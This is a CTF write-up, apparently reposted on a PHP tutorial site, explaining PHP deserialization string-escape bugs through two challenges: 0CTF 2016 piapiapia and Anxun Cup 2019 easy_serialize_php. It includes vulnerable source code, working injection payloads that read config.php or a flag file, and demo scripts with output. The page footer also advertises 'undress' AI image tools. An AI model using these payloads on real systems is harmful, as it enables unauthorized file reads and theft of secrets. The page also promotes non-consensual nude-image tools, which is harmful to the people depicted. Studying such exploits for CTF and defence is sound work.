PHP デシリアライゼーション文字列エスケープについて
推荐:《PHP视频教程》
- 通过
CTF
比赛了解PHP
反序列化,记录自己的学习。
借用哈大佬们的名言
- 任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。
- 0CTF 2016piapiapia-----反序列化后长度递增
- 安询杯2019-easy_serialize_php-----反序列化后长度递减
0CTF 2016piapiapia
- 由于是代码审计,直接访问
www.zip
发现备份的源码,有一下文件,flag就在config.php
,因此读取即可
class.php //主要有mysql类(mysql基本操作)和user类(继承mysql实现功能点) config.php //环境配置 index.php //登陆 profile.php //查看自己上传的文件 register.php //注册 update.php //文件上传
源码分析
- 然后分析代码,我喜欢通过功能点来分析,既然有注册,登陆,那么自然来看看
SQL
咯,发现class.php
中mysql
类的filter过滤函数,过滤了增删查改,基本无望. - 后面就看看文件上传,发现也对上传的文件参数进行了限制,但是发现对文件进行了序列化处理,那么肯定有反序列化,在
profile.php
中发现对上传的文件进行反序列化处理,并对文件$profile['photo']
进行读取.我们再回到文件上传点,发现$profile['photo'] = 'upload/' . md5($file['name']);
,但是我们无法获取加密后的文件值,后面有又看到文件上传是先序列化,再进过filter
函数替换一些关键字,再反序列化,因此文件可能发生改变,因此可能有漏洞
payload构造
- 我们知道,PHP反序列化时以
;
作为分隔点,}
做为结束标志,根据长度来判断读取多少字符,我们无法控制$profile['photo']
但是可以控制nickname
,而nickname
又进行了长度限制,strlen
函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的payload是,最开始的";}
是为了闭合前面数组nickname
的{
,后面的;}
是为了截断,让反序列化结束,不再读取后面的内容,当然这些都不能是字符哈.
";}s:5:"photo";s:10:"config.php";}
这时构造了payload
,那么就要来计算溢出数量了,我们构造的payload长度为34,那么就要增加34个长度,由于where
变成hacker
会增加一个长度,那么我们就需要34个where
,最终payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
原理解析
'01234567890', 'email'=>'12345678@11.com', 'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'), 'photo'=>'upload/'.md5('1.jpg') ); print_r(serialize($profile)); echo PHP_EOL; print_r(filter(serialize($profile))); echo PHP_EOL; var_dump(unserialize(filter(serialize($profile)))); echo PHP_EOL; ?>
输出结果展示,最开始不用进过filter
函数反序列化时,nickname
数组的第一个值没被截断是一个整体
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
where
变成了hacker
,反序列化的长度变化了,但是又只读取204的长度,则s:5:"photo";s:10:"config.php";}";}就多出来了,作为另一个反序列化的其中一个元素,而末尾的'}
又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件.
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} array(4) { 'phone' => string(11) "01234567890" 'email' => string(15) "12345678@11.com" 'nickname' => array(1) { [0] => string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" } 'photo' => string(10) "config.php" }
安询杯2019-easy_serialize_php
源码
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
分析
- 源码不多,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读完全发现可能存在的漏洞点:
extract
变量覆盖,file_get_contents
任意文件读取. - 将变量
$userinfo['img']
逆推回去发现,是由参数img_path
控制的,但是经过sha1
加密,我们无法得知加密后内容,但结合前面的extract
变量覆盖,我们可以自己POST构造. - 构造了之后,会经过序列化
filter
函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值.
payload构造
- 我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是
img
,user
,function
,而我们能控制的只有后面两个,我们需要构造的payload是这样的
f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
- 但是不经任何改变则是这样的
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
- 我还是利用截断的思想不让其读取元素
img
的值,我们自己来构造这个值,只有两个参数,必须在function
哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬的长度自己酌情参考,一般是到自己能控制的点就好)后面的长度,来构造自己的payload咯,我们就选user
元素吧,len('";s:8:"function";s:10:"'
)的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用6个flag
就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的img
进行截断
a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
- 截断只需
}
即可,并且不为读取的字符即可,因此添加f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
,这里我们新增了一个元素,因此吞噬后function
元素消失了,随便补充好元素即可.
原理解析
<?php function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } $arr = array( "user"=>"flagflagflagflagflagflag", "function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}', //"user"=>'guest', //"function"=>'show_image', "img"=>sha1(base64_encode('guest_img.png')) ); print_r(serialize($arr)); echo PHP_EOL; print_r(filter(serialize($arr))); echo PHP_EOL; print_r(unserialize(filter(serialize($arr)))); ?>
- 输出展示
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} Array ( [user] => ";s:8:"function";s:62:"2 [img] => ZDBnM19mMWFnLnBocA== [tql] => tql )
以上がPHP デシリアライゼーション文字列エスケープについての詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

あなたが経験豊富な PHP 開発者であれば、すでにそこにいて、すでにそれを行っていると感じているかもしれません。あなたは、運用を達成するために、かなりの数のアプリケーションを開発し、数百万行のコードをデバッグし、大量のスクリプトを微調整してきました。

このチュートリアルでは、PHPを使用してXMLドキュメントを効率的に処理する方法を示しています。 XML(拡張可能なマークアップ言語)は、人間の読みやすさとマシン解析の両方に合わせて設計された多用途のテキストベースのマークアップ言語です。一般的にデータストレージに使用されます

JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。

文字列は、文字、数字、シンボルを含む一連の文字です。このチュートリアルでは、さまざまな方法を使用してPHPの特定の文字列内の母音の数を計算する方法を学びます。英語の母音は、a、e、i、o、u、そしてそれらは大文字または小文字である可能性があります。 母音とは何ですか? 母音は、特定の発音を表すアルファベットのある文字です。大文字と小文字など、英語には5つの母音があります。 a、e、i、o、u 例1 入力:string = "tutorialspoint" 出力:6 説明する 文字列「TutorialSpoint」の母音は、u、o、i、a、o、iです。合計で6元があります

静的結合(静的::) PHPで後期静的結合(LSB)を実装し、クラスを定義するのではなく、静的コンテキストで呼び出しクラスを参照できるようにします。 1)解析プロセスは実行時に実行されます。2)継承関係のコールクラスを検索します。3)パフォーマンスオーバーヘッドをもたらす可能性があります。

PHPの魔法の方法は何ですか? PHPの魔法の方法には次のものが含まれます。1。\ _ \ _コンストラクト、オブジェクトの初期化に使用されます。 2。\ _ \ _リソースのクリーンアップに使用される破壊。 3。\ _ \ _呼び出し、存在しないメソッド呼び出しを処理します。 4。\ _ \ _ get、dynamic属性アクセスを実装します。 5。\ _ \ _セット、動的属性設定を実装します。これらの方法は、特定の状況で自動的に呼び出され、コードの柔軟性と効率を向上させます。
